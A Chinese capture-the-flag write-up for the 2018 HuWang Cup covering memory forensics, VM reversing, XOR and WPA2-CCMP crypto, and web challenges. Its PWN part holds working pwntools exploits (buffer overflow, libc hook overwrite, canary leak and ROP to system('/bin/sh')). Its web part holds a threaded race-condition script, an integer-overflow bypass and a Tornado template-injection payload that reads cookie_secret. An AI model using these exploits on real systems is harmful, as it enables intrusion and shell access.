2018护网杯线上赛 Writeup by Whitzard
syang CTF 12782浏览 · 2018-10-13 16:07

HuWang2018 Whitzard

MISC

签到题

脑洞题,不想去猜key,就暴力了一下:

import base64
res = ''
a = "AAoHAR1TIiIkUFUjUFQgVyInVSVQJVFRUSNRX1YgXiJSVyJQVRs="
a = base64.b64decode(a)
for i in range(128):
    for j in a:
        res+=chr(i^ord(j))
print res

Easy dump

题目给了一个600M的镜像,是取证题
直接用volatility的imageinfo查看镜像,发现是windows内存镜像,并且可以看到版本信息

>>>python vol.py -f ./easy_dump.img imageinfo 

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/blackmax/download/volatility/easy_dump.img)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80004006070L
          Number of Processors : 1
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff80004007d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-09-30 05:30:17 UTC+0000
     Image local date and time : 2018-09-30 13:30:17 +0800

volatility提供很多查看当时系统状态信息的指令,我们先用pslist查看当时的进程,发现有个explorer,notepad等常被用来出题的进程,这里只列出这些,实际还有其他一些程序

0xfffffa80083f4060 notepad.exe            2952   1260      1       57      1      0 2018-09-30 05:18:25 UTC+0000 
0xfffffa80083ea9f0 dllhost.exe            2740    612     10      197      1      0 2018-09-30 05:30:14 UTC+0000                                 
0xfffffa800a1a2b30 DumpIt.exe             2256   1260      2       43      1      1 2018-09-30 05:30:16 UTC+0000                                 
0xfffffa8009b1fb30 conhost.exe            2964    396      2       57      1      0 2018-09-30 05:30:16 UTC+0000
0xfffffa8009e03630 explorer.exe           1260   1172     34      953      1      0 2018-09-30 05:17:34 UTC

常见的情况会在notepad里开着一个文档藏一些和flag相关的信息,但是这题尝试查看notepad并没有发现一些有用的信息。再尝试从其他程序入手。volatility中对于windows下的程序有很多插件,比如iehistoty插件,可以很方便的查看ie浏览器的浏览记录。

>>>python vol.py -f ./easy_dump.img --profile=Win7SP1x64 iehistory

Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235000
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:19:21 UTC+0000
Last accessed: 2018-09-30 05:19:21 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235100
Record length: 0x100
Location: :2018093020181001: n3k0@:Host: ?????????
Last modified: 2018-09-30 12:43:38 UTC+0000
Last accessed: 2018-09-30 04:43:38 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235200
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:30:14 UTC+0000
Last accessed: 2018-09-30 05:30:14 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************

这里多条浏览记录都指向本地的一张叫phos.jpg的图片。说明这张图片应该有重要信息。我们接下来要想办法dump这张图片。
volatility同样有提供dump文件的插件,用filescan扫描一下文件列表,找到了这张jpg

0x00000000235bec20     12      0 R--r-- \Device\HarddiskVolume1\Windows\SysWOW64\kernel32.dll
0x00000000235c8770     32      0 RW---- \Device\HarddiskVolume1\phos.jpg
0x00000000235c91c0     15      1 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\KernelBase.dll.mui
0x00000000235c95b0      2      0 RW-rwd \Device\HarddiskVolume1\$Directory

记下偏移0x00000000235c8770,使用dumpfiles把这张图片dump出来

python vol.py -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x00000000235c8770 --name -D ~/CTF/HWB

图片打开并没有直接显示flag相关的信息,猜测是jpg隐写,先用010editor打开发现藏了一个zip压缩包,可以手动提取也可以直接用binwalk提取这个zip。
解压之后里面有个message.img镜像,先strings一下,得到一堆数据和一个奇怪的字符串yispn!buwh_qcfd_ebo_mglzs。看起来是个加密后的flag
file message.img可以看到是linux下的filesystem data。使用mount指令挂载之后查看里面的hint.txt文件。文件中有很多数据,第二个数几乎都是从10-269递增,然后第一位数增1,同样第一位也是从10一直增到269.但仔细查看就会发现,中间有不连续的数据存在

29 190
29 191
29 192
29 193
29 194
29 195
29 196
29 197
29 208
29 209
29 210
29 211
29 212
29 224

根据提示,txt的数据数量大约为两个相同的数相乘,这容易联想到是个二维码,存在和不存在的数据代表二维码上的黑点和白点
脚本如下:

#include <iostream>
#include <bits/stdc++.h>

using namespace std;

bool mp[275][275];

int main()
{
    freopen("./hint.txt","r",stdin);
    freopen("./out2.txt","w",stdout);
    memset(mp,0,sizeof(mp));
    int x, y;
    while (scanf("%d%d",&x,&y)!= EOF){
        mp[x][y]=true;
    }
    for (int i = 0; i < 270; i++){
            for (int j = 0; j < 270; ++j){

                if (mp[i][j]){
                    printf(" ");//白色像素
                }
                else printf("#");//黑色像素
            }
            printf("\n");

    }
    return 0;
}

直接以文本形式绘出二维码,把字体调的很小之后就可以看出是二维码了。扫码得到维吉尼亚的密码aeolus,解密得到flag。

PWN

task_gettingStart

这题有一个overflow的漏洞,只要将v8覆盖成0.1就能执行system("/bin/sh")了查一下浮点数的表示就行了

if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
  {
    puts("Try again!");
  }
  else
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v8);
    system("/bin/sh");
  }

payload如下:

payload=p64(0)+p64(0xa39)+p64(0)+p64(0x7fffffffffffffff)+p64(0x3FB999999999999A)

cart

越界任意地址写。

from pwn import *
code = ELF('./task_shoppingCart', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(size, name):
    r.sendlineafter('buy!\n', '1')
    r.sendlineafter('?\n', str(size))
    if size > 0:
        r.sendafter('?\n', flat(name))

def fre(idx):
    r.sendlineafter('buy!\n', '2')
    r.sendlineafter('?\n', str(idx))

def edit(idx, payload):
    r.sendlineafter('buy!\n', '3')
    r.sendlineafter('?\n', str(idx))
    r.sendafter('?\n', flat(payload))

def make_money():
    r.sendlineafter('!\n', '1')
    r.sendlineafter('?\n', 'AAAAAAA')

def login():
    for i in range(20):
        make_money()
    r.sendlineafter('man!\n', '3')

def exploit(r):
    login()
    add(1000, 'qwe')
    add(1000, 'sh\x00')
    fre(0)
    add(0, '')
    r.sendlineafter('buy!\n', '3')
    r.sendlineafter('?\n', str(2))
    r.recvuntil('OK, what would you like to modify ')
    tmp = r.recvline()[:6]
    assert tmp[-1] == '\x7f'
    libc.address = u64(tmp + '\0\0') - libc.sym['__malloc_hook'] - 0x448
    info('%016x libc.address', libc.address)
    r.sendline('qwe')
    edit(-1, libc.address+0x3c3ef8)
    edit(-21, libc.sym['system'])
    fre(1)
    r.sendlineafter('$ ', 'cd /tmp')
    r.sendlineafter('$ ', 'cat << EOF > x.b64')
    r.sendline(read('./x').encode('base64'))
    r.sendline('EOF')

    r.interactive()

huwang (赛后)

先设置round=-1进行交互,程序会循环MD5,此时文件内容为空;另开一个再交互,MD5即为16个NULL的MD5。

name填0x19个字符即可泄漏canary,occupation也塞满,然后栈溢出。

from pwn import *
code = ELF('./huwang', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def exploit(r):
    name = 'A'*0x19
    r.sendlineafter('>> \n', '666')
    r.sendafter('\n', name)
    r.sendlineafter('\n', 'y')
    r.sendlineafter('\n', '1')
    r.sendafter('\n', 'J\xe7\x136\xe4K\xf9\xbfy\xd2u.#H\x18\xa5')
    r.sendafter('?', 'a'*0xff)
    r.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAA')
    canary = u64('\0' + r.recv(7))
    info('%016x canary', canary)
    r.sendlineafter('[Y/N]\n', 'Y')
    pop_rdi_ret = gadget('pop rdi; ret')
    leave_ret = gadget('leave; ret')
    buf = 0x603800
    r.send(flat(
        'A'*0x108,
        canary,
        buf, 
        pop_rdi_ret, code.got['read'],
        code.plt['puts'],
        make_rop([0x401550, 0x40156A], code.got['read'], [0, buf, 0x100], rbp=buf),
        leave_ret,
    ))

    r.recvline()
    tmp = r.recvline().strip() + '\0\0'
    libc.address = u64(tmp) - libc.sym['read']

    r.send(flat(
        0, 
        pop_rdi_ret, libc.search('/bin/sh').next(),
        libc.sym['system'],
    ))

    r.interactive()

RE

RERERE

搜索字符串找到main函数,发现很多函数都是用通过一个函数表调用的。
依次查看调用的几个函数,从sub_401530函数中可以看出明显的VM特征,而之前读取的unk_404018即为VM代码。
因为VM代码较长,将每个指令的作用还原后,我们用python写了个parser来翻译:

import struct

p=0

def out(x):
    print str(p)+ ' '+x

s=open('vm','rb').read()
f = struct.Struct('>I')
ss=''
hashp=0
while p < len(s):
    if s[p] == 'P':
        out('reg' + str(ord(s[p+1]) >> 4) + '++')
        p += 2
    elif s[p] == 'N':
        out('reg' + str(ord(s[p+1]) >> 4) + '--')
        p += 2
    elif s[p] == 'G':
        out('reg' + str(ord(s[p+1]) >> 4) + ' ^= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'Y':
        out('reg' + str(ord(s[p+1]) >> 4) + ' -= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'J':
        out('reg' + str(ord(s[p+1]) >> 4) + ' &= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'S':
        out('reg' + str(ord(s[p+1]) >> 4) + ' += reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'X':
        out('reg' + str(ord(s[p+1]) >> 4) + ' *= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'O':
        out('mem = ' + (s[p+1:p+5]).encode('hex') )
        if((f.unpack(s[p+1:p+5])[0]) > 1000):
            ss+=(s[p+1:p+5]).encode('hex')
        p += 5
    elif s[p] == 'T':
        out('reg' + str(ord(s[p+1]) >> 4) + ' = mem')
        p += 2
    elif s[p] == 'Q':
        out('reg' + str(ord(s[p+1]) >> 4) + ' = reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'F':
        out('reg' + str(ord(s[p+1]) >> 4) + ' = hash[hashp]')
        p += 2
    elif s[p] == 'U':
        out('rep reg3 ' + str(p-ord(s[p+1])) )
        p += 2
    elif s[p] == 'H':
        out('cmp reg' + str(ord(s[p+1]) >> 4) + ' reg'+str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'D':
        out('jl ' + str(p+2+ord(s[p+1])) )
        p += 2
    elif s[p] == 'M':
        out('jg ' + str(p+2+ord(s[p+1])) )
        p += 2
    elif s[p] == 'K':
        out('jz ' + str(p+2+ord(s[p+1])) )
        p += 2
    elif s[p] == 'I':
        hashp+=1
        out('hashp++')
        p += 1
    elif s[p] == 'V':
        hashp-=1
        out('hashp--')
        p += 1
    elif s[p] == 'C':
        out('exit' )
        p += 1
    else:
        out(s[p])
        p += 1
print ss[::-1].upper()

翻译后的结果:

0 mem = 47
5 rep reg3 0
7 reg3 = mem
9 reg0 = hash[hashp]
11 reg2 ^= reg2
13 cmp reg0 reg2
15 jz 68
17 hashp++
18 mem = 70
23 reg1 = mem
25 cmp reg0 reg1
27 jg 68
29 mem = 48
34 reg1 = mem
36 cmp reg0 reg1
38 jl 62
40 mem = 57
45 reg1 = mem
47 cmp reg0 reg1
49 jl 62
51 mem = 65
56 reg0 = mem
58 cmp reg0 reg1
60 jl 68
62 reg0 ^= reg0
64 cmp reg0 reg0
66 jz 73
68 reg0 ^= reg0
70 reg0++
72 exit
73 rep reg3 9
75 mem = 7
80 reg3 = mem
82 reg1 = 0
84 hashp--
85 reg0 = hash[hashp]
87 mem = 48
92 reg2 = mem
94 reg0 -= reg2
96 mem = 10
101 reg2 = mem
103 cmp reg0 reg2
105 jl 116
107 mem = 7
112 reg2 = mem
114 reg0 -= reg2
116 mem = 16
121 reg2 = mem
123 reg1 *= reg2
125 reg1 += reg0
127 rep reg3 84
129 mem = 3954878541
134 reg2 = mem
136 cmp reg1 reg2
138 reg0 ^= reg0
140 jz 145
142 reg0++
144 exit
145 mem = 7
150 reg3 = mem
152 reg1 ^= reg1
154 hashp--
155 reg0 = hash[hashp]
157 mem = 48
162 reg2 = mem
164 reg0 -= reg2
166 mem = 10
171 reg2 = mem
173 cmp reg0 reg2
175 jl 186
177 mem = 7
182 reg2 = mem
184 reg0 -= reg2
186 mem = 16
191 reg2 = mem
193 reg1 *= reg2
195 reg1 += reg0
197 rep reg3 154
199 mem = 1406938271
204 reg2 = mem
206 cmp reg1 reg2
208 reg0 ^= reg0
210 jz 215
212 reg0++
214 exit
215 mem = 7
220 reg3 = mem
222 reg1 ^= reg1
224 hashp--
225 reg0 = hash[hashp]
227 mem = 48
232 reg2 = mem
234 reg0 -= reg2
236 mem = 10
241 reg2 = mem
243 cmp reg0 reg2
245 jl 256
247 mem = 7
252 reg2 = mem
254 reg0 -= reg2
256 mem = 16
261 reg2 = mem
263 reg1 *= reg2
265 reg1 += reg0
267 rep reg3 224
269 mem = 1858824029
274 reg2 = mem
276 cmp reg1 reg2
278 reg0 ^= reg0
280 jz 285
282 reg0++
284 exit
285 mem = 7
290 reg3 = mem
292 reg1 ^= reg1
294 hashp--
295 reg0 = hash[hashp]
297 mem = 48
302 reg2 = mem
304 reg0 -= reg2
306 mem = 10
311 reg2 = mem
313 cmp reg0 reg2
315 jl 326
317 mem = 7
322 reg2 = mem
324 reg0 -= reg2
326 mem = 16
331 reg2 = mem
333 reg1 *= reg2
335 reg1 += reg0
337 rep reg3 294
339 mem = 2143952328
344 reg2 = mem
346 cmp reg1 reg2
348 reg0 ^= reg0
350 jz 355
352 reg0++
354 exit
355 mem = 7
360 reg3 = mem
362 reg1 ^= reg1
364 hashp--
365 reg0 = hash[hashp]
367 mem = 48
372 reg2 = mem
374 reg0 -= reg2
376 mem = 10
381 reg2 = mem
383 cmp reg0 reg2
385 jl 396
387 mem = 7
392 reg2 = mem
394 reg0 -= reg2
396 mem = 16
401 reg2 = mem
403 reg1 *= reg2
405 reg1 += reg0
407 rep reg3 364
409 mem = 2386147433
414 reg2 = mem
416 cmp reg1 reg2
418 reg0 ^= reg0
420 jz 425
422 reg0++
424 exit
425 mem = 7
430 reg3 = mem
432 reg1 ^= reg1
434 hashp--
435 reg0 = hash[hashp]
437 mem = 48
442 reg2 = mem
444 reg0 -= reg2
446 mem = 10
451 reg2 = mem
453 cmp reg0 reg2
455 jl 466
457 mem = 7
462 reg2 = mem
464 reg0 -= reg2
466 mem = 16
471 reg2 = mem
473 reg1 *= reg2
475 reg1 += reg0
477 rep reg3 434
479 mem = 2597864506
484 reg2 = mem
486 cmp reg1 reg2
488 reg0 ^= reg0
490 jz 494
492 reg0++
494 exit

开始的一段代码判断了hash的字符在数字和大写字母'A'-'F'内。
然后后面有四段非常相似的代码,每段代码均从hash的结尾开始取8个十六进制字符,转为十进制,最后与一个4字节的int进行比较。
将这四个用来比较的int拿出来,反向连接起来即可得到flag。

附上vm中用到的struct:

00000000 obj             struc ; (sizeof=0x28, mappedto_35)
00000000 func_p          dd ?
00000004 reg0            dd ?
00000008 reg1            dd ?
0000000C reg2            dd ?
00000010 reg3            dd ?                    ; offset
00000014 reg4            dd ?
00000018 hash            dd ?                    ; offset
0000001C field_1C        dd ?
00000020 mem             dd ?                    ; offset
00000024 vmcode          dd ?                    ; offset
00000028 obj             ends

CRYPTO

fez

fez的本质就是一些异或操作,虽然不知道密钥,但是我们有两段密文和其中的一段明文,密文与密文异或可以消去密钥,再异或明文就可以得到另一段明文
具体脚本如下

import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)
def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)
    return new_l+new_r

def deround(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=L
    new_r=xor(xor(R,L),K)
    return new_r+new_l
def fez(m,K):
    for i in K:
        m=round(m,i)
    return m
def defez(m,K):
    for i in reversed(K):
        m=deround(m,i)
    return m    
K=[]
for i in range(7):
    K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")


test="6e8a78be3a7c92f74db065a6a18cc659de4278f24af163c435853c06d2a0adeb49859c78dccdf8c85e5ed8cda7e22d6f098e6b1e4142"
a1="944360ff8ecd3a4d66b27dfcf7d9c1b5d22f53a9eb84edd29d2a4cc851abea669afaef060b5d1241338f92546a97d1d7ce00fa7b5e3e"
a2="a0a9f3660de9c2e347a141054548088827c481868b86473fc590aaf45d21aaa4a4f5c51ecd6812254be19d20f50b3aa24fa0bc7316dc"
a1=a1.decode("hex")
a2=a2.decode("hex")
test=test.decode("hex")
ss=xor(xor(a1[:27],a2[:27]),test[27:])
st=xor(xor(xor(xor(a1[27:],a2[27:]),test[27:]),test[:27]),ss)
print st+ss

WPA2

是一个WPA2协议的题目
WPA2采用的是CMMP加密
题目给出了psk,mac和nounce根据这些信息我们可以得到加密的密钥。
后来主办方又给出了源代码,通过阅读代码,我们可以了解到跟多关于加密的细节。根据代码我们可以先进行解包,从网络包中得到真正的密文部分,然后用密钥进行解密即可。然后把解出的值提交给服务器即可。
代码如下:

from WPA2 import *


def DecryptCCMP(indata,TK):

    if len(TK) != 16:
        return None
    is_a4 = 0
    is_qos = 1

    z = 24 + 6 * (1 if is_a4 else 0)
    z += 2 * (1 if is_qos else 0)

    inputpkt=indata.decode("hex")[:34]
    PN=inputpkt[-8:-6]+inputpkt[-4:]
    PN=PN[::-1]
    data_len=33
    B0 = ''
    B0 += '\x59'
    B0 += '\x00'
    B0 += inputpkt[10:16]
    B0 += PN
    B0 += chr((data_len >> 8) & 0xFF)
    B0 += chr(data_len & 0xFF)

    AAD = '\x00' * 2  # [0] [1]

    AAD += chr(ord(inputpkt[0]) & 0x8F)  # [2]
    AAD += chr(ord(inputpkt[1]) & 0xC7)  # [3]
    AAD += inputpkt[4:4 + 3 * 6]  # [4]..[21]
    AAD += chr(ord(inputpkt[22]) & 0x0F)  # [22]

    AAD += '\x00'  # [23]

    if (is_a4):
        AAD += inputpkt[24:24 + 6]  # [24]..[29]
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [30]
            AAD += '\x00'  # [31]
            tmp = list(B0)
            tmp[1] = AAD[30]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2 + 6)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [30]..[31]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 6)
            AAD = ''.join(tmp)
    else:
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [24]
            AAD += '\x00'  # [25]
            tmp = list(B0)
            tmp[1] = AAD[24]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [24]..[25]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22)
            AAD = ''.join(tmp)
    AAD += '\x00' * 6 
    cipher = AES.new(TK, AES.MODE_ECB)
    MIC = cipher.encrypt(B0)
    MIC = XOR(MIC, AAD, 16)
    MIC = cipher.encrypt(MIC)
    MIC = XOR(MIC, AAD[16:], 16)
    MIC = cipher.encrypt(MIC)

    tmp = list(B0)
    tmp[0] = chr(ord(tmp[0]) & 0x07)
    tmp[14] = '\x00'
    tmp[15] = '\x00'
    B0 = ''.join(tmp)

    B = cipher.encrypt(B0)
    initMIC = B
    offset =34
    blocks = 3
    last = 1
    print "TK"
    print repr(TK)

    print "B0"
    print repr(B0)
    decryptedPacket = indata.decode("hex")
    plain=""
    for i in range(1, blocks + 1):
        n = last if (last > 0 and i == blocks) else 16


        tmp = list(B0)
        tmp[14] = chr((i >> 8) & 0xFF)
        tmp[15] = chr(i & 0xFF)
        B0 = ''.join(tmp)
        B = cipher.encrypt(B0)
        print repr(B)
        out = XOR(decryptedPacket[offset:offset + n], B, n)
        plain += out

        offset += n

    return plain
ssid="HuWang"
psk="HSrObIZmBx6inYc2"
aNonce="482d8d5f601ca1b671ab9cbdc30ad998b880168ccb3c26d6d7ed3cfc8149045a".decode("hex")
sNonce="4fbbb10c26f7376867f29db85c189ae2c7b0e4023f5af3e9a73cae9c97b46cb1".decode("hex")

apMac="47:C4:47:16:E8:7D"
staMac="7F:57:0A:12:66:5B"
apMac=apMac.replace(":","").lower().decode("hex")
staMac=staMac.replace(":","").lower().decode("hex")
A,B = MakeAB(aNonce,sNonce,apMac,staMac)

ptk,pmk = MakeKeys(psk,ssid,A,B)

key = ptk[-16:]
cipher="88423a017f570a12665b47c44716e87d47c44716e87d609200005f85002096000000a6690951247f1faacc65af2069bf567a78c2aac8423d351a72510b001529121bf40be946e2ad07af00"
print DecryptCCMP(cipher,key)

其中CMMP的相关代码:

#!/usr/bin/env python

import hmac
from hashlib import pbkdf2_hmac,sha1,md5
from Crypto.Cipher import AES
import string
import random
import struct

def PRF(key,A,B):
    nByte = 48
    i = 0
    R = ''

    while ( i <= ((nByte*8 + 159)/160)):
        hmacsha1 = hmac.new(key,A+"\x00" + B + chr(i),sha1)
        R += hmacsha1.digest()
        i += 1
    return R[0:nByte]

def MakeAB(aNonce,sNonce,apMac,cliMac):
    A = "Pairwise key expansion"
    B = min(apMac,cliMac) + max(apMac,cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
    return (A,B)

def MakeKeys(pwd,ssid,A,B):
    pmk = pbkdf2_hmac('sha1',pwd,ssid,4096,32)

    ptk = PRF(pmk,A,B)

    return (ptk,pmk)
def XOR(b1,b2,l):
    if (len(b1)<l or len(b2)<l):
        return None
    res = ''
    for i in range(l):
        res += chr(ord(b1[i]) ^ ord(b2[i]))
    if (len(b1)>l):
        res += b1[l:]
    return res

def EncryptCCMP(indata,TK,PN):
    if len(TK) != 16 or len(PN) != 6:
        return None
    is_a4 = (ord(indata[1]) & 0x03) == 3
    is_qos = (ord(indata[0]) & 0x8c) == 0x88

    z = 24 + 6 * (1 if is_a4 else 0)
    z += 2 * (1 if is_qos else 0)

    h80211 = list(indata)

    h80211[z + 0] = PN[5]
    h80211[z + 1] = PN[4]
    h80211[z + 2] = '\x00'
    h80211[z + 3] = '\x20'
    h80211[z + 4] = PN[3]
    h80211[z + 5] = PN[2]
    h80211[z + 6] = PN[1]
    h80211[z + 7] = PN[0]

    inputpkt = ''.join(h80211)
    data_len=33
    B0 = ''
    B0 += '\x59'
    B0 += '\x00'
    B0 += inputpkt[10:16]
    B0 += PN
    B0 += chr((data_len >> 8) & 0xFF)
    B0 += chr(data_len & 0xFF)

    AAD = '\x00' * 2  # [0] [1]

    AAD += chr(ord(inputpkt[0]) & 0x8F)  # [2]
    AAD += chr(ord(inputpkt[1]) & 0xC7)  # [3]
    AAD += inputpkt[4:4 + 3 * 6]  # [4]..[21]
    AAD += chr(ord(inputpkt[22]) & 0x0F)  # [22]

    AAD += '\x00'  # [23]

    if (is_a4):
        AAD += inputpkt[24:24 + 6]  # [24]..[29]
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [30]
            AAD += '\x00'  # [31]
            tmp = list(B0)
            tmp[1] = AAD[30]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2 + 6)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [30]..[31]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 6)
            AAD = ''.join(tmp)
    else:
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [24]
            AAD += '\x00'  # [25]
            tmp = list(B0)
            tmp[1] = AAD[24]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [24]..[25]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22)
            AAD = ''.join(tmp)
        AAD += '\x00' * 6
    cipher = AES.new(TK, AES.MODE_ECB)
    MIC = cipher.encrypt(B0)
    MIC = XOR(MIC, AAD, 16)
    MIC = cipher.encrypt(MIC)
    MIC = XOR(MIC, AAD[16:], 16)
    MIC = cipher.encrypt(MIC)

    tmp = list(B0)
    tmp[0] = chr(ord(tmp[0]) & 0x07)
    tmp[14] = '\x00'
    tmp[15] = '\x00'
    B0 = ''.join(tmp)

    B = cipher.encrypt(B0)
    initMIC = B

    blocks = (data_len + 16 - 1) / 16
    last = data_len % 16
    offset = z + 8

    encryptedPacket = ''
    print offset
    print last
    print blocks
    for i in range(1, blocks + 1):
        n = last if (last > 0 and i == blocks) else 16
        MIC = XOR(MIC,inputpkt[offset:offset+n],n)
        MIC = cipher.encrypt(MIC)
        tmp = list(B0)
        tmp[14] = chr((i >> 8) & 0xFF)
        tmp[15] = chr(i & 0xFF)
        B0 = ''.join(tmp)
        B = cipher.encrypt(B0)
        out = XOR(inputpkt[offset:offset + n], B, n)
        encryptedPacket += out


        offset += n
    print len(encryptedPacket)
    encryptedPacket = inputpkt[:z+8] + encryptedPacket
    encryptedPacket += XOR(initMIC,MIC,8)[:8]

    return encryptedPacket

if __name__=="__main__":

    print "Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters.."
    print ""

    ssid = "HuWang"

    psk = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
    rnddev = open("/dev/urandom","rb")

    aNonce = rnddev.read(32)

    sNonce = rnddev.read(32)

    apMac = rnddev.read(6)

    staMac = rnddev.read(6)

    rnddev.close()

    print "SSID = "+ssid
    print ""

    print "PSK = "+psk
    print ""

    outmac=apMac.encode('hex').upper()
    macaddr = ''
    for i in range(len(outmac)):
        macaddr += outmac[i]
        if (i%2!=0 and i<len(outmac)-1):
            macaddr+=':'
    print "AP_MAC = "+macaddr
    print ""

    print "AP_Nonce = "+aNonce.encode('hex')
    print ""

    outmac=staMac.encode('hex').upper()
    macaddr = ''
    for i in range(len(outmac)):
        macaddr += outmac[i]
        if (i%2!=0 and i<len(outmac)-1):
            macaddr+=':'

    print "STA_MAC = "+macaddr
    print ""

    print "STA_Nonce = "+sNonce.encode('hex')
    print ""

    A,B = MakeAB(aNonce,sNonce,apMac,staMac)

    ptk,pmk = MakeKeys(psk,ssid,A,B)

    key = ptk[-16:]

    #chlvalue = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
    chlvalue="a"*16
    challenge = "Challenge Vlaue: "+chlvalue


    datapkt = ("88423a01"+staMac.encode('hex')+apMac.encode('hex')+apMac.encode('hex')+"60920000"+"0000002000000000"+challenge.encode('hex')).decode('hex')

    packetNumber = struct.pack(">Q",random.randint(1,9999999))[2:]
    print repr(datapkt)
    print repr(key)
    print repr(packetNumber)
    outtoUser = EncryptCCMP(datapkt,key,packetNumber)
    print repr(outtoUser)   
    print "CCMP Encrypted Packet = "+outtoUser.encode("hex")
    print ""
    exit()  

    userinput = raw_input("Input decrypted challenge value in Packet:")
    print ""
    if (userinput == chlvalue):
        f = open("flag","r")
        content = f.read()
        f.close()
        print "Congratulations!Your flag is: "+content
    else:
        print "Wrong!"

WEB

LTSHOP

本题的考点在于条件竞争以及整数的溢出问题

通过多线程发包的方式使得购买到 5 个以上的大辣条

import requests
import threading

url = "http://49.4.79.236:30189/"

s = requests.Session()

def post(querystring):
    headers = {
        'Cookie': "go_iris_cookie=93542bfe-f8e2-4e4e-ba4c-1b0c5c739342;",
        'Content-Type': "application/x-www-form-urlencoded"
    }
    response = s.post(url+querystring, headers=headers)
    print(response.text)

def main():
    l = []
    for i in range(1000):
        l.append(threading.Thread(target=post, args=('buylt',)))
    for t in l:
        t.start()
    for t in l:
        t.join()

if __name__ == '__main__':
    main()

此时我们可以得到超过 5 个以上的大辣条,但远远买不到足够的辣条之王

此时我们观察到我们可以控制批量购买的数量,不同数量的反馈是不同的,比如我购买 2 个,提醒的是大辣条数量不足,而购买 -1 个或者 99999999999999999999 则是数量非法,所以我们可以猜测题目使用 uint64 作为变量的类型。

可以推测题目的逻辑如下:

var num uint
if num * 5 <= 大辣条数目 {
    辣条之王 += num
}

很明显存在着乘法上溢问题,如果我们构造 num = 3689348814741910324,经过测试可得 num * 5 = 44 <= 5 成立

i = 2**64 // 5 + 1 # 3689348814741910324
j = i * 5 % 2 ** 64 # 4

所以我们即可利用 4 个大辣条买到近乎无限的辣条之王(具体为 3689348814741910324 个),即可顺利购买 flag

easy tornado

进入题目

http://49.4.78.81:30980/

发现意思很明确,有签名,读文件
发现

http://49.4.78.81:30980/error?msg={{1^0}}

可模板注入,但过滤了非常多的符号,应该只能读个变量
发现handler.settings存放了cookie_secret
读取

http://49.4.78.81:30980/error?msg={{handler.settings}}

随机构造签名读flag

